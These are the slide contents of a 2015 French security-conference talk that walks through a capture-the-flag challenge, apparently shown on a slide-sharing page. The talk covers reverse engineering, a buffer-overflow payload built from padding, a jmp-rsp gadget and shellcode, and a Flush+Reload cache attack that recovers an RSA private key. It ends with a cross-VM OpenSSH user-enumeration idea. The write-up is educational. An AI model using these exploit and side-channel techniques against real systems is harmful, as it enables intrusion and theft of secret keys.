OCTO - DroidCon - PKI Android : Installer, gérer, sécuriser et utiliser un se...
OCTO - DroidCon - PKI Android : Installer, gérer, sécuriser et utiliser un se...OCTO - DroidCon - PKI Android : Installer, gérer, sécuriser et utiliser un se...
OCTO - DroidCon - PKI Android : Installer, gérer, sécuriser et utiliser un se...
 
PKI Android : Installer, gérer, sécuriser et utiliser un secret
PKI Android : Installer, gérer, sécuriser et utiliser un secretPKI Android : Installer, gérer, sécuriser et utiliser un secret
PKI Android : Installer, gérer, sécuriser et utiliser un secret
 
ssh, bien plus qu'un telnet sécurisé
ssh, bien plus qu'un telnet sécuriséssh, bien plus qu'un telnet sécurisé
ssh, bien plus qu'un telnet sécurisé
 
Tuto VP IPSEC Site-to-site
Tuto VP IPSEC Site-to-siteTuto VP IPSEC Site-to-site
Tuto VP IPSEC Site-to-site
 
Développement informatique : Programmation réseau
Développement informatique : Programmation réseauDéveloppement informatique : Programmation réseau
Développement informatique : Programmation réseau
 
Les sockets.pptx
Les sockets.pptxLes sockets.pptx
Les sockets.pptx
 
Tp rsa1
Tp rsa1Tp rsa1
Tp rsa1
 

Plus de StHack

Plus de StHack (8)

Sthack 2015 - Ramon Vicens & Victor Acin - Cyber threats "the reality"
Sthack 2015 - Ramon Vicens & Victor Acin - Cyber threats "the reality"Sthack 2015 - Ramon Vicens & Victor Acin - Cyber threats "the reality"
Sthack 2015 - Ramon Vicens & Victor Acin - Cyber threats "the reality"
 
Sthack 2015 - Jonathan "@JonathanSalwan" Salwan - Dynamic Behavior Analysis U...
Sthack 2015 - Jonathan "@JonathanSalwan" Salwan - Dynamic Behavior Analysis U...Sthack 2015 - Jonathan "@JonathanSalwan" Salwan - Dynamic Behavior Analysis U...
Sthack 2015 - Jonathan "@JonathanSalwan" Salwan - Dynamic Behavior Analysis U...
 
StHack 2014 - Mario "@0x6D6172696F" Heiderich - JSMVCOMFG
StHack 2014 - Mario "@0x6D6172696F" Heiderich - JSMVCOMFGStHack 2014 - Mario "@0x6D6172696F" Heiderich - JSMVCOMFG
StHack 2014 - Mario "@0x6D6172696F" Heiderich - JSMVCOMFG
 
StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection
StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injectionStHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection
StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection
 
StHack 2013 - Nicolas "@baldanos" Oberli Please insert inject more coin
StHack 2013 - Nicolas "@baldanos" Oberli Please insert inject more coinStHack 2013 - Nicolas "@baldanos" Oberli Please insert inject more coin
StHack 2013 - Nicolas "@baldanos" Oberli Please insert inject more coin
 
StHack 2014 - Benjamin "@gentilkiwi" Delpy Mimikatz
StHack 2014 - Benjamin "@gentilkiwi" Delpy MimikatzStHack 2014 - Benjamin "@gentilkiwi" Delpy Mimikatz
StHack 2014 - Benjamin "@gentilkiwi" Delpy Mimikatz
 
StHack 2014 - Jerome "@funoverip" Nokin Turning your managed av into my botnet
StHack 2014 - Jerome "@funoverip" Nokin  Turning your managed av into my botnetStHack 2014 - Jerome "@funoverip" Nokin  Turning your managed av into my botnet
StHack 2014 - Jerome "@funoverip" Nokin Turning your managed av into my botnet
 
StHack 2014 - Ninon Eyrolles Obfuscation 101
StHack 2014 - Ninon Eyrolles Obfuscation 101StHack 2014 - Ninon Eyrolles Obfuscation 101
StHack 2014 - Ninon Eyrolles Obfuscation 101
 

Dernier

Bilan énergétique des chambres froides.pdf
Bilan énergétique des chambres froides.pdfBilan énergétique des chambres froides.pdf
Bilan énergétique des chambres froides.pdf
AmgdoulHatim
 

Dernier (20)

658708519-Power-Point-Management-Interculturel.pdf
658708519-Power-Point-Management-Interculturel.pdf658708519-Power-Point-Management-Interculturel.pdf
658708519-Power-Point-Management-Interculturel.pdf
 
L application de la physique classique dans le golf.pptx
L application de la physique classique dans le golf.pptxL application de la physique classique dans le golf.pptx
L application de la physique classique dans le golf.pptx
 
Les roches magmatique géodynamique interne.pptx
Les roches magmatique géodynamique interne.pptxLes roches magmatique géodynamique interne.pptx
Les roches magmatique géodynamique interne.pptx
 
Télécommunication et transport .pdfcours
Télécommunication et transport .pdfcoursTélécommunication et transport .pdfcours
Télécommunication et transport .pdfcours
 
Echos libraries Burkina Faso newsletter 2024
Echos libraries Burkina Faso newsletter 2024Echos libraries Burkina Faso newsletter 2024
Echos libraries Burkina Faso newsletter 2024
 
CompLit - Journal of European Literature, Arts and Society - n. 7 - Table of ...
CompLit - Journal of European Literature, Arts and Society - n. 7 - Table of ...CompLit - Journal of European Literature, Arts and Society - n. 7 - Table of ...
CompLit - Journal of European Literature, Arts and Society - n. 7 - Table of ...
 
STRATEGIE_D’APPRENTISSAGE flee_DU_FLE.pdf
STRATEGIE_D’APPRENTISSAGE flee_DU_FLE.pdfSTRATEGIE_D’APPRENTISSAGE flee_DU_FLE.pdf
STRATEGIE_D’APPRENTISSAGE flee_DU_FLE.pdf
 
les_infections_a_streptocoques.pptkioljhk
les_infections_a_streptocoques.pptkioljhkles_infections_a_streptocoques.pptkioljhk
les_infections_a_streptocoques.pptkioljhk
 
L'expression du but : fiche et exercices niveau C1 FLE
L'expression du but : fiche et exercices  niveau C1 FLEL'expression du but : fiche et exercices  niveau C1 FLE
L'expression du but : fiche et exercices niveau C1 FLE
 
Bilan énergétique des chambres froides.pdf
Bilan énergétique des chambres froides.pdfBilan énergétique des chambres froides.pdf
Bilan énergétique des chambres froides.pdf
 
Formation échiquéenne jwhyCHESS, parallèle avec la planification de projet
Formation échiquéenne jwhyCHESS, parallèle avec la planification de projetFormation échiquéenne jwhyCHESS, parallèle avec la planification de projet
Formation échiquéenne jwhyCHESS, parallèle avec la planification de projet
 
Intégration des TICE dans l'enseignement de la Physique-Chimie.pptx
Intégration des TICE dans l'enseignement de la Physique-Chimie.pptxIntégration des TICE dans l'enseignement de la Physique-Chimie.pptx
Intégration des TICE dans l'enseignement de la Physique-Chimie.pptx
 
Cours Généralités sur les systèmes informatiques
Cours Généralités sur les systèmes informatiquesCours Généralités sur les systèmes informatiques
Cours Généralités sur les systèmes informatiques
 
Neuvaine de la Pentecôte avec des textes de saint Jean Eudes
Neuvaine de la Pentecôte avec des textes de saint Jean EudesNeuvaine de la Pentecôte avec des textes de saint Jean Eudes
Neuvaine de la Pentecôte avec des textes de saint Jean Eudes
 
GIÁO ÁN DẠY THÊM (KẾ HOẠCH BÀI DẠY BUỔI 2) - TIẾNG ANH 6, 7 GLOBAL SUCCESS (2...
GIÁO ÁN DẠY THÊM (KẾ HOẠCH BÀI DẠY BUỔI 2) - TIẾNG ANH 6, 7 GLOBAL SUCCESS (2...GIÁO ÁN DẠY THÊM (KẾ HOẠCH BÀI DẠY BUỔI 2) - TIẾNG ANH 6, 7 GLOBAL SUCCESS (2...
GIÁO ÁN DẠY THÊM (KẾ HOẠCH BÀI DẠY BUỔI 2) - TIẾNG ANH 6, 7 GLOBAL SUCCESS (2...
 
Conférence Sommet de la formation 2024 : Développer des compétences pour la m...
Conférence Sommet de la formation 2024 : Développer des compétences pour la m...Conférence Sommet de la formation 2024 : Développer des compétences pour la m...
Conférence Sommet de la formation 2024 : Développer des compétences pour la m...
 
Formation qhse - GIASE saqit_105135.pptx
Formation qhse - GIASE saqit_105135.pptxFormation qhse - GIASE saqit_105135.pptx
Formation qhse - GIASE saqit_105135.pptx
 
La mondialisation avantages et inconvénients
La mondialisation avantages et inconvénientsLa mondialisation avantages et inconvénients
La mondialisation avantages et inconvénients
 
Apolonia, Apolonia.pptx Film documentaire
Apolonia, Apolonia.pptx         Film documentaireApolonia, Apolonia.pptx         Film documentaire
Apolonia, Apolonia.pptx Film documentaire
 
RAPPORT DE STAGE D'INTERIM DE ATTIJARIWAFA BANK
RAPPORT DE STAGE D'INTERIM DE ATTIJARIWAFA BANKRAPPORT DE STAGE D'INTERIM DE ATTIJARIWAFA BANK
RAPPORT DE STAGE D'INTERIM DE ATTIJARIWAFA BANK
 

Sthack 2015 - David Berard & Vincent Fargues - Attack the cache to get some cash

  • 1. ATTACK THE CACHE TO GET SOME CASH Sthack 27 mars 2015 0
  • 2. DAVID BERARD & VINCENT FARGUES CESTI Thales à Toulouse 1
  • 3. CHALLENGE NOSUCHCON#2 - SEPTEMBRE 2014 Conférence à Paris 19-21 Novembre Challenge créé par Objectif : Trouver email + password 2
  • 4. CHALLENGE EN3 ÉTAPES 1. Rétro ingénierie MIPS Rétro ingénierie rapide et analyse statistique 2. Escape Python sandbox + XXE Attaque sur AES-128 avec un padding oracle (vulnérabilité non souhaitée par les créateurs). Exfiltration de données par XXE Evasion de la sandbox Pickle modifiée 3. Timing cache attack sur RSA en remote avec overflow Exploitation d'un buffer overflow Réalisation d'une attaque par canaux auxiliaires 3
  • 5. DÉCOUVERTE DE L'ARCHIVE $ tar xzvf securedrop.tar.gz securedrop/ securedrop/client/ securedrop/client/client.py securedrop/archive/ securedrop/archive/messages securedrop/servers/ securedrop/servers/SecDrop securedrop/servers/xinetd.conf/ securedrop/servers/xinetd.conf/secdrop securedrop/servers/xinetd.conf/stpm securedrop/servers/STPM securedrop/lib/ securedrop/lib/libsec.so 4
  • 6. DÉCOUVERTE DE L'ARCHIVE : MESSAGE ARCHIVÉ Message chiffré (2 lignes) securedrop/archive/messages $ cat archive/messages new message: 0C849AFE0A7C11B2F083C32E7FDB0F8AC03198D84D9990B26D6443B1D185A36A235A561 BB99FE897858371311B2AD6DFE75E199667637EDEA7B9C14A158A5F6FFE15A1C14DAD80 8FDC9F846530EDD4FE3E86F4F98571CD45F11190ED531FC940D62C2C2E05F9977223580 8097763157F140FE4A57DB6AD902D9962F12BDFC1547CED3E282604255B2A5331373CAE E557CC825DD6A03C3D2D7B106E4AD15347BCB5067BDC60376FF1CC133F2C14 9d41dbb8da10b66cdde844f62e9cc4f96c3a88730b7b8307810cf1906935123f97ac9b6 82dd401512d18775bd7bd9b8b40929f5b4a1871ba44c94038793f0aa639b9d71d72d2ac cfcc95671c77a5c1c32bc813b048f5dcb1f08b59d6a7afb3b34462ac6abb69cb70accb2 4d78389a1777c5244b8063c542cc1f6c6db8d41d32df2e7132e21db8a1cc711c1a97c51 ba29f1d1ac8fa901a902b2a987f0764734f8b8cd2d476200e7ae62a424e2930d8b02940 9d0e5e13d4e11f4b5f5cc1263f41b500b4340b8641465bbc56c64a575f0ee215d02dea3 d75552328cf5742c 5
  • 7. DÉCOUVERTE DE L'ARCHIVE : CLIENT PYTHON securedrop/client/client.py [...] s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(15) s.connect(('nsc2014.synacktiv.com', 1337)) s.send('%sn%sn%sn'%(PASSWORD, wk, enc.encode('hex'))) r = '' while 'n' not in r : r += s.recv(1024) try : r = r.strip('n').decode('hex') print ocb_decrypt(k, r) except : print r 6
  • 8. DÉCOUVERTE DE L'ARCHIVE : CONFIGURATIONXINETD secdrop port : 1337 utilisateur : secdrop binaire : /home/secdrop/SecDrop argument : /home/secdrop/messages stpm port : 2014 utilisateur : stpm binaire : /home/stpm/STPM argument : /home/stpm/keyfile securedrop/servers/xinetd.conf/secdrop securedrop/servers/xinetd.conf/stpm 7
  • 9. DÉCOUVERTE DE L'ARCHIVE : BINAIRES X86-64 securedrop/servers/SecDrop securedrop/servers/STPM securedrop/lib/libsec.so 8
  • 10. FONCTIONNEMENT BASIQUE DUCLIENT Client SecDrop gen random AES_key PASSWORD RSA_encrypt(AES_key,Kpub) AES_encrypt(message,AES_key) AES_encrypt("OK",AES_key) 9
  • 11. RÉTROINGÉNIERIE SECDROP Écoute via xinetd sur le port 1337 Service de réception de message Stockage de messages dans un fichier (argv[1]) 10
  • 12. RÉTROINGÉNIERIE SECDROP: INITIALISATION fopen argv[1] Connect 127.0.0.1:2014 Limitation des syscalls à READ, WRITE, EXIT LODWORD(v0) = seccomp_init(0LL); v1 = v0; if ( v0 && seccomp_rule_add(v0, 2147418112LL, 0LL, 1LL) >= 0 && seccomp_rule_add(v1, 2147418112LL, 0LL, 1LL) >= 0 && seccomp_rule_add(v1, 2147418112LL, 1LL, 1LL) >= 0 && seccomp_rule_add(v1, 2147418112LL, 1LL, 1LL) >= 0 && seccomp_rule_add(v1, 2147418112LL, 1LL, 1LL) >= 0 && seccomp_rule_add(v1, 2147418112LL, 1LL, 1LL) >= 0 && seccomp_rule_add(v1, 2147418112LL, 60LL, 0LL) >= 0 && seccomp_load(v1) >= 0 ) { seccomp_release(v1); result = 0LL; } 11
  • 13. RÉTROINGÉNIERIE SECDROP: LECTURE DUPASSWORD Mot de passe fixe hardcodé if ( read(0, &buf, 0x21uLL) != 33 || memcmp(&buf, "UBNtYTbYKWBeo12cHr33GHREdZYyOHMZn", 0x21uLL) ) { write(1, "WRONG PASSWORD!n", 0x10uLL); SEC_exit(1LL); } sub_400FB0(v7); SEC_exit(0LL); 12
  • 14. RÉTROINGÉNIERIE SECDROP LECTUREDELA CLEF AES CHIFFRÉEPAR RSA ET DU MESSAGECHIFFRÉPAR AES Lecture caractère par caractère Stockage sur la stack int __fastcall read_input(__int64 a1, __int64 a2) { v2 = 0LL; while ( 1 ) { result = SEC_fgetc(a1); if ( result == -1 || result == 'n' ) break; v3 = (unsigned int)v2; v2 = (unsigned int)(v2 + 1); *(_BYTE *)(a2 + v3) = result; } *(_BYTE *)(a2 + v2) = 0; return result; } 13
  • 15. RÉTROINGÉNIERIE SECDROP: COMMUNICATIONAVEC STPM Clef AES chiffrée par RSA envoyée au STPM Avec la commande : 3n2n0nKEYn Message chiffré AES transmis au STPM Avec la commande : 2n2nMESSAGEn 14
  • 16. FONCTIONNEMENT GLOBAL Client SecDrop STPM AES_key=random(16) PASSWORD RSA_encrypt(AES_key,Kpub) 3-2-0-RSA_encrypted_AES_key AES_encrypt(message,AES_key) 2-2-AES_encrypted_message 15
  • 17. PSEUDO-CODE SECDROP save_messages = open(argv[1]) socket_stpm = connect(localhost:2014) restrict_allowed_syscalls() passwd = read(stdin,33) if(passwd=="UBNtYTbYKWBeo12cHr33GHREdZYyOHMZn"): aes_key =read_input() encrypted_msg=read_input() send(socket_stpm,"3n2n0n"+aes_key+"n") send(socket_stpm,"2n2n"+encrypted_msg+"n") save_messages.write(aes_key + "n" + encrypted_msg) 16
  • 18. RÉTROINGÉNIERIE STPM Écoute via xinetd sur le port 2014 (filtré pour l'extérieur) Sofware Trusted Platform Module ? Réalise les opérations de chiffrement et de déchiffrement Stocke des clefs (16 emplacements pour des clefs symétriques / asymétriques) Préchargement des clefs depuis le fichier argv[1] Absent de l'archive fournie 17
  • 19. RÉTROINGÉNIERIE STPM : PARSING DES COMMANDES Symboles présents dans le binaire :) switch ( v2 ) { case '4': v3 = export_key(); goto LABEL_6; case '3': v3 = import_key(); goto LABEL_6; case '2': v3 = message_decrypt(); LABEL_6: if ( v3 ) goto LABEL_7; continue; case '1': print_keys(); [...] 18
  • 20. RÉTROINGÉNIERIE STPM : COMMANDES DISPONIBLES 1. print_keys() affiche toutes les clefs stockées 2. decrypt(key_id,message) déchiffre le message avec la clef key_id 3. import_key(key_id,index,ciphered_AES_key) Reçoit ciphered_AES_key chiffré en RSA avec la clef key_id Déchiffre et stocke la clef à l'index spécifié 4. export_key(index,key) Renvoie la clef AES à l’index spécifié chiffrée en RSA avec la clef key 5. exit() 19
  • 21. FONCTIONNEMENT GLOBAL Client SecDrop STPM AES_key=random(16) Kpriv=read(argv[1])PASSWORD RSA_encrypt(AES_key,Kpub) 3-2-0-RSA_encrypted_AES_key AES_key=RSA_decrypt(Kpriv) store(AES_key) AES_encrypt(message,AES_key) 2-2-AES_encrypted_message AES_encrypt("OK",AES_key)AES_encrypt("OK",AES_key) 20
  • 22. BUFFER OVERFLOWDANS SECDROP Lecture caractère par caractère sur la socket vers le client Stockage sur la stack Arrêt de la lecture si retour à la ligne → overflow int __fastcall read_input(__int64 a1, __int64 a2) { v2 = 0LL; while ( 1 ) { result = SEC_fgetc(a1); if ( result == -1 || result == 'n' ) break; v3 = (unsigned int)v2; v2 = (unsigned int)(v2 + 1); *(_BYTE *)(a2 + v3) = result; } *(_BYTE *)(a2 + v2) = 0; return result; } 21
  • 23. BUFFER OVERFLOWDANS SECDROP Client SecDrop PASSWORD padding+ ROP Chain + Shellcode shellcode execution 22
  • 24. BUFFER OVERFLOWDANS SECDROP: SHELLCODE ROP chain simple : gadget magique présent dans le code Exploit : Syscalls limités à READ, WRITE, EXITpar la sandbox .text:0000000000400F60 db 0B8h .text:0000000000400F61 ; ----------------------------- .text:0000000000400F61 jmp rsp .text:0000000000400F61 ; ----------------------------- .text:0000000000400F63 db 0 jmp_rsp=0x00400f61 # password payload="UBNtYTbYKWBeo12cHr33GHREdZYyOHMZn" # overflow payload+="A"*12072 # Jump to shellcode payload+=addr(jmp_rsp) # write shellcode payload+=shellcode() payload+="n" 23
  • 25. BUFFER OVERFLOWDANS SECDROP: EXEMPLE AVEC PRINTKEY Réutilisation des descripteurs de fichier déjà ouverts (sockets client/STPM) Client SecDrop STPM PASSWORD padding+ ROP Chain + Shellcode 1 (printKey) printKey results printKey results shellcodeexecution 24
  • 26. BUFFER OVERFLOWDANS SECDROP: EXEMPLE AVEC PRINTKEY key 0: ASYMETRIC n = 0x000000B740DF8EE7BEFFE41A337B4E56FFE903D6D62C75[...] e = 0x00010001 q = PRIVATE :) key 1: SYMETRIC k = SECRET :) key 2: EMPTY key 3: EMPTY key 4: EMPTY key 5: EMPTY key 6: EMPTY key 7: EMPTY key 8: EMPTY key 9: EMPTY key 10: EMPTY key 11: EMPTY key 12: EMPTY 25
  • 27. 26
  • 28. TIMING CACHE ATTACK Attaque par canaux auxiliaires utilisant le cache des processeurs x86 Cible les algorithmes cryptographiques AES RSA FLUSH+RELOAD: a High Resolution, Low Noise, L3 Cache Side-Channel Attack source : https://eprint.iacr.org/2013/448.pdf 27
  • 29. FLUSH+RELOAD : CONDITIONS D'EXPLOITATION L'attaquant et la cible doivent être sur le même processeur Shellcode dans SecDrop sur la même machine que STPM Le code du RSA doit être lisible par l'attaquant Opérations RSA réalisées dans la librairie partagée 28
  • 30. FLUSH+RELOAD : LE CACHE COMME CANALAUXILIAIRE Core 0 L1 instr L1 data L2 Core 1 L1 instr L1 data L2 L3 STPM SecDrop Main memorylibsec.so 29
  • 31. FLUSH+RELOAD : LE CACHE COMME CANALAUXILIAIRE Core 0 L1 instr L1 data L2 Core 1 L1 instr L1 data L2 L3 STPM SecDrop Main memorylibsec.so 30
  • 32. FLUSH+RELOAD : LE CACHE COMME CANALAUXILIAIRE Core 0 L1 instr L1 data L2 Core 1 L1 instr L1 data L2 L3 STPM SecDrop Main memorylibsec.so 31
  • 33. FLUSH+RELOAD : LE CACHE COMME CANALAUXILIAIRE Core 0 L1 instr L1 data L2 Core 1 L1 instr L1 data L2 L3 STPM SecDrop Main memorylibsec.so <X cycles CPU>X cycles CPU 31
  • 34. FLUSH+RELOAD : LE CACHE COMME CANALAUXILIAIRE Core 0 L1 instr L1 data L2 Core 1 L1 instr L1 data L2 L3 STPM SecDrop Main memorylibsec.so clflush 32
  • 35. FLUSH+RELOAD : ALGORITHME while True: a = get_CPU_cycle() read_memory(address) b = get_CPU_cycle() flush_caches(address) if b-a < threshold: # the memory zone was accessed by another process else: # the memory zone wasn't accessed 33
  • 36. IDENTIFICATIONDES SEUILS FLUSH+Reload sur une adresse régulièrement utilisée Récupération du nombre de cycles CPU pour une lecture CanvasJS.com 34
  • 37. IDENTIFICATIONDES SEUILS FLUSH+Reload sur une adresse régulièrement utilisée Récupération du nombre de cycles CPU pour une lecture CanvasJS.com Cache HITS < 200 34
  • 38. IDENTIFICATIONDES SEUILS FLUSH+Reload sur une adresse régulièrement utilisée Récupération du nombre de cycles CPU pour une lecture CanvasJS.com Cache HITS < 200 Cache MISS > 200 34
  • 39. RSA : EXPONENTIATIONMODULAIRE RSA_decrypt : bigint(ciphertext) ^ d % n d => exposant privé n => modulus Bignum Exp_mod : square et multiply /* base = n, exp = d, m = int(ciphertext) */ modpow(base, exp, m) { result = 1; while (exp > 0) { if (exp & 1 > 0) { result = (result * base) % m; #MULTIPLY } exp >>= 1; base = (base * base) % m; #SQUARE } return result; } 35
  • 40. RSA : EXPONENTIATIONMODULAIRE RSA_decrypt : bigint(ciphertext) ^ d % n d => exposant privé n => modulus Bignum Exp_mod : square et multiply /* base = n, exp = d, m = int(ciphertext) */ modpow(base, exp, m) { result = 1; while (exp > 0) { if (exp & 1 > 0) { result = (result * base) % m; #MULTIPLY } exp >>= 1; base = (base * base) % m; #SQUARE } return result; }   35
  • 41. IDENTIFICATIONDES FONCTIONS SQUARE & MULTIPLY Test sur le bit Square & multiply       36
  • 42. CACHE ATTACK DEPUIS L'OVERFLOWDANS SECDROP Main memory libsec.so multiply square SEC_unwrap SEC_fgetc SecDrop STPM 37
  • 43. CACHE ATTACK DEPUIS L'OVERFLOWDANS SECDROP Main memory libsec.so multiply square SEC_unwrap SEC_fgetc SecDrop STPM Flush&Reload Shellcode 38
  • 44. CACHE ATTACK DEPUIS L'OVERFLOWDANS SECDROP Client SecDrop STPM PASSWORD padding+ ROP Chain + Shellcode 3-2-0-RSA_encrypted_AES_key AES_key=RSA_decrypt(Kpriv) results shellcodeexecution mesures   39
  • 46. EXTRACTIONDES BITS DE L'EXPOSANT PRIVÉ CanvasJS.com 41
  • 47. EXTRACTIONDES BITS DE L'EXPOSANT PRIVÉ CanvasJS.com Square Multipy 1 41
  • 48. EXTRACTIONDES BITS DE L'EXPOSANT PRIVÉ CanvasJS.com Square Multipy 1 Square Multipy 1 41
  • 49. EXTRACTIONDES BITS DE L'EXPOSANT PRIVÉ CanvasJS.com Square Multipy 1 Square Multipy 1     0 41
  • 50. EXTRACTIONDES BITS DE L'EXPOSANT PRIVÉ CanvasJS.com Square Multipy 1 Square Multipy 1     0 Square Multipy 1 41
  • 51. EXTRACTIONDES BITS DE L'EXPOSANT PRIVÉ CanvasJS.com Square Multipy 1 Square Multipy 1     0 Square Multipy 1 Square Multipy 1 41
  • 52. EXTRACTIONDES BITS DE L'EXPOSANT PRIVÉ CanvasJS.com Square Multipy 1 Square Multipy 1     0 Square Multipy 1 Square Multipy 1     0 41
  • 53. EXTRACTIONDES BITS DE L'EXPOSANT PRIVÉ CanvasJS.com Square Multipy 1 Square Multipy 1     0 Square Multipy 1 Square Multipy 1     0     0 41
  • 54. EXTRACTIONDES BITS DE L'EXPOSANT PRIVÉ CanvasJS.com Square Multipy 1 Square Multipy 1     0 Square Multipy 1 Square Multipy 1     0     0 Square Multipy 1 41
  • 55. RECONSTRUCTIONDE L'EXPOSANT PRIVÉ Bits inversés : consommés par l'exponentiation modulaire par la fin Plusieurs tentatives : résultats différents Un résultat se démarque dans 20% des cas, c'est l'exposant privé 42
  • 56. RAPPEL: MESSAGE DANS L'ARCHIVE Ligne 1 : Clef AES chiffrée RSA Ligne 2 : Message chiffré AES securedrop/archive/messages $ cat archive/messages new message: 0C849AFE0A7C11B2F083C32E7FDB0F8AC03198D84D9990B26D6443B1D185A36A235A561 BB99FE897858371311B2AD6DFE75E199667637EDEA7B9C14A158A5F6FFE15A1C14DAD80 8FDC9F846530EDD4FE3E86F4F98571CD45F11190ED531FC940D62C2C2E05F9977223580 8097763157F140FE4A57DB6AD902D9962F12BDFC1547CED3E282604255B2A5331373CAE E557CC825DD6A03C3D2D7B106E4AD15347BCB5067BDC60376FF1CC133F2C14 9d41dbb8da10b66cdde844f62e9cc4f96c3a88730b7b8307810cf1906935123f97ac9b6 82dd401512d18775bd7bd9b8b40929f5b4a1871ba44c94038793f0aa639b9d71d72d2ac cfcc95671c77a5c1c32bc813b048f5dcb1f08b59d6a7afb3b34462ac6abb69cb70accb2 4d78389a1777c5244b8063c542cc1f6c6db8d41d32df2e7132e21db8a1cc711c1a97c51 ba29f1d1ac8fa901a902b2a987f0764734f8b8cd2d476200e7ae62a424e2930d8b02940 9d0e5e13d4e11f4b5f5cc1263f41b500b4340b8641465bbc56c64a575f0ee215d02dea3 d75552328cf5742c 43
  • 57. DÉCHIFFREMENT DE LA CLEF AES # Inversion des bits, conversion en entier de "d" d = int(d_binary[::-1],2) # Conversion en entier de la clef chiffré depuis le message chiffré encrypted_aes_key = int(encrypted,16) # Operation de déchiffrement RSA key_value = pow(encrypted_aes_key, d, n) # Key : conversion depuis un entier key = '%0x' % (key_value) # Suppression du padding PKCS1 v1.5 print key[-32:] 44
  • 58. DÉCHIFFREMENT DUMESSAGE SIMPLEOPÉRATION AES AVECLA CLEF RETROUVÉE $ python2 decrypt_msg.py Good job! Send the secret 3fcba5e1dbb21b86c31c8ae490819ab6 to 82d6e1a04a8ca30082e81ad27dec7cb4@synacktiv.com. Also, don't forget to send us your solution within 10 days. Synacktiv team 45
  • 59. INTHE REALWORLD... Exemple : bruteforce des utilisateurs dans OpenSSH Cache attack inter VM 46
  • 60. HYPERVISEUR AVEC DÉDUPLICATIONDE MÉMOIRE KVM : Kernel-based Virtual Machine KSM : Kernel Samepage Merging Combinaison par défaut sur certaines distributions dédiées à la virtualisation 47
  • 61. KERNELSAME PAGE MERGING Virtual memory VM 1 Main memory Virtual memory VM 2 Hyperviseur 48
  • 62. KERNELSAME PAGE MERGING Virtual memory VM 1 Main memory Virtual memory VM 2 Hyperviseur ksmd 49
  • 63. KERNELSAME PAGE MERGING VM 1 Main memory VM 2 Hyperviseur ksmd Virtual memory Virtual memory same page 50
  • 64. KERNELSAME PAGE MERGING VM 1 Main memory VM 2 Hyperviseur ksmd Virtual memory Virtual memory 51
  • 65. KERNELSAME PAGE MERGING VM 1 Main memory VM 2 Hyperviseur ksmd Virtual memory Virtual memory 52
  • 66. KERNELSAME PAGE MERGING VM 1 VM 2 Hyperviseur ksmd Virtual memory Virtual memory Main memory sshd sshd Cache L3 53
  • 67. L'UTILISATEUR INEXISTANT EXISTE ! if (authctxt->pw && strcmp(service, "ssh-connection")==0) { authctxt->valid = 1; debug2("input_userauth_request: setting up authctxt for %s", user); } else { logit("input_userauth_request: invalid user %s", user); authctxt->pw = fakepw(); } struct passwd * fakepw(void) { static struct passwd fake; memset(&fake, 0, sizeof(fake)); fake.pw_name = "NOUSER"; fake.pw_passwd = "$2a$06$r3. juUaHZDlIbQaO2dS9FuYxL1W9M81R1Tc92PoSNmzvpEqLkLGrK"; fake.pw_uid = privsep_pw == NULL ? (uid_t)-1 : privsep_pw->pw_uid; fake.pw_gid = privsep_pw == NULL ? (gid_t)-1 : privsep_pw->pw_gid; fake.pw_dir = "/nonexist"; fake.pw_shell = "/nonexist"; return (&fake); } 54
  • 68. TEST DE LA PRÉSENCE D'UNUTILISATEUR Chargement du binaire sshd en mémoire (mmap) Création d'un thread de monitoring FLUSH+RELOAD sur l'adresse fakepw (offset dans sshd) En parallèle : Connexion à la VM avec libssh2 HIT sur fakepw : utilisateur inexistant MISS sur fakepw : utilisateur existant 55
  • 70. MERCI DE VOTRE ATTENTION! QUESTIONS ?david.berard@thalesgroup.com vincent.fargues@thalesgroup.com 57